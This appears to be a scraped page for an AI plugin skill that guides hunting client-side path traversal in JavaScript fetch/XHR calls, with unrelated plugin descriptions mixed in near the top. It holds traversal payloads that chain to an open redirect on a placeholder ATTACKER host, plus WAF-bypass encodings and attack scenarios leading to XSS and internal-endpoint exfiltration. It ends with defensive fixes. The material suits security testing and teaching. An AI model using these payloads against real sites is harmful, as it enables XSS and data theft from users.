From meta
Use when hunting Client-Side Path Traversal (CSPT) vulnerabilities where attacker- controlled input is unsafely concatenated into the path component of a JavaScript fetch() or XHR request. Trigger on: "CSPT", "client-side path traversal", "fetch path traversal", "XHR path injection", "fetch concatenation", "../ in fetch", "user input in fetch URL", "path component injection", fetch redirect chaining, CSPT to XSS, open redirect fetch, "JavaScript fetch user input", DOM fetch injection.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Client-Side Path Traversal occurs when attacker-controlled input is concatenated
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Client-Side Path Traversal occurs when attacker-controlled input is concatenated
directly into the path component of a JavaScript fetch() or XHR URL without
proper encoding. The injected ../ sequences traverse the URL path, redirecting
the request to an unintended endpoint. Unlike server-side path traversal (which
reads files), CSPT redirects API calls — enabling response injection, data exfiltration,
and XSS when chained with an open redirect that fetch() auto-follows to an
attacker-controlled domain.
fetch("/api/users/" + userId + "/profile")
fetch(`/api/posts/${postId}/comments`)
xhr.open("GET", "/api/data/" + param)
?), not the query stringencodeURIComponent() wrapping the input, or encoding applied only to specific chars/redirect?u=, /oauth/authorize?redirect_uri=)innerHTML / eval()fetch() / XHR calls in JavaScript source — look for string concatenation in the URL path.../../../anything — did the request path change?/redirect?u=ATTACKER) or any endpoint whose response is reflected in the DOM.| Situation | Strategy | Example |
|---|---|---|
| No WAF | Use plain ../ | ../../../gadget |
| WAF level = App level | Encode dots: %2e%2e/ | %2e%2e/%2e%2e/%2e%2easdf |
| WAF level < App level | Over-encode slashes | ..%252f..%252f..%252fasdf |
| WAF level > App level | Pad with dummy segments | a%252fa%252fa%252fa/../../../../asdf |
Depth = (number of path segments) − (number of ../ sequences).
WAFs check that depth never goes negative. Pad to keep WAF depth ≥ 0 while making app depth < 0.
// Basic CSPT test — confirm path traversal in fetch
fetch("/api/users/../../../anything")
// → request goes to /anything
// Traverse to open redirect gadget for XSS
// Target app has: /redirect?u=<URL> → 302 to URL
// fetch() auto-follows redirects by default
fetch("/api/users/../../../../redirect?u=https://ATTACKER/evil.json")
// → fetch follows redirect → attacker controls response
// Depth calculation example
// Vulnerable URL: /api/users/{id}/profile
// Segments above id: 3 (/api/users/profile)
// Need 3 x "../" to reach root
payload = "../../../redirect?u=https://ATTACKER/payload"
# WAF bypass payloads (equal encoding levels — encode dots)
%2e%2e/%2e%2e/%2e%2eredirect?u=https://ATTACKER
# WAF level < App level (double-encode slash)
..%252f..%252f..%252fredirect?u=https://ATTACKER
# WAF level > App level (pad with dummy segments WAF decodes away)
a%252fa%252fa%252fa/../../../redirect?u=https://ATTACKER
# Burp: intercept, modify path param, inject traversal sequences
# Search JS source for fetch/XHR concatenation patterns
grep -rn 'fetch(\|xhr.open\|axios.get\|axios.post' src/ | grep '+'
grep -rn 'fetch(`\|fetch("' src/ | grep '\${'
%2e%2e/ instead of ../: browser normalizes %2e to . — functionally identical but bypasses string-match WAFs%252f): WAF decodes once → %2f (safe-looking); app/browser decodes again → / (traversal)%2e%2e with %252f: %2e%2e%252f — confuses WAFs that check for specific patterns%00 or # — may truncate WAF's depth checkfetch() redirect modes: fetch(url, {redirect: 'follow'}) is default — attacker's redirect is automatically followed including cross-originScenario 1 — CSPT → Open Redirect → XSS
Setup: SPA fetches user content via fetch("/api/posts/" + postId) and renders the JSON response into the DOM.
App also has /oauth/redirect?to=<URL> open redirect endpoint.
Trigger: Attacker sets postId = "../../../../oauth/redirect?to=https://ATTACKER/evil.json".
Impact: fetch() follows redirect to attacker's server → attacker returns crafted JSON with XSS payload → app renders it into DOM → stored or reflected XSS.
Scenario 2 — CSPT for internal endpoint access
Setup: Frontend fetches /api/v1/users/{id}/settings — id comes from URL hash fragment without encoding.
Internal endpoint /api/v1/admin/config is not accessible from outside but is reachable server-side.
Trigger: Attacker injects ../../../../admin/config as the id.
Impact: fetch() sends request to /api/v1/admin/config with the victim's session cookie — response returned to attacker via XSS gadget or exfiltrated.
Scenario 3 — WAF bypass via encoding mismatch
Setup: WAF decodes once before depth-checking; app passes encoded URL to browser which decodes twice.
Trigger: Attacker uses ..%252f..%252f..%252fredirect?u=https://ATTACKER — WAF sees ..%2f..%2f..%2fredirect (depth 0, benign); browser sees ../../../redirect (traversal).
Impact: WAF passes the request; browser executes traversal; open redirect reached; XSS achieved.
?id=../..) not path — server routing ignores it, no traversalencodeURIComponent() wraps the input — ../ becomes ..%2F which browsers do NOT normalize back in the path// WRONG: direct concatenation into path
fetch("/api/posts/" + postId + "/comments")
// CORRECT: encode the input — encodeURIComponent prevents traversal
fetch("/api/posts/" + encodeURIComponent(postId) + "/comments")
// CORRECT: validate input is a safe identifier (no slashes or dots)
if (!/^[a-zA-Z0-9_-]+$/.test(postId)) throw new Error("Invalid ID");
fetch("/api/posts/" + postId + "/comments")
encodeURIComponent() to user-controlled values inserted into URL pathsfetch()/XHR calls where the URL is constructed via string concatenation or template literals with user input[[dom-xss]] is the most common impact of CSPT: the path traversal redirects fetch() to an attacker-controlled URL that returns a payload rendered into a dangerous DOM sink like innerHTML. [[csrf]] is another direct chain — CSPT can redirect a form's fetch target to change the endpoint a state-changing submission hits, effectively forging the destination of an authenticated request. The WAF encoding bypass matrix here parallels [[path-traversal]] encoding techniques, since both exploit URL normalization disagreements between parser layers.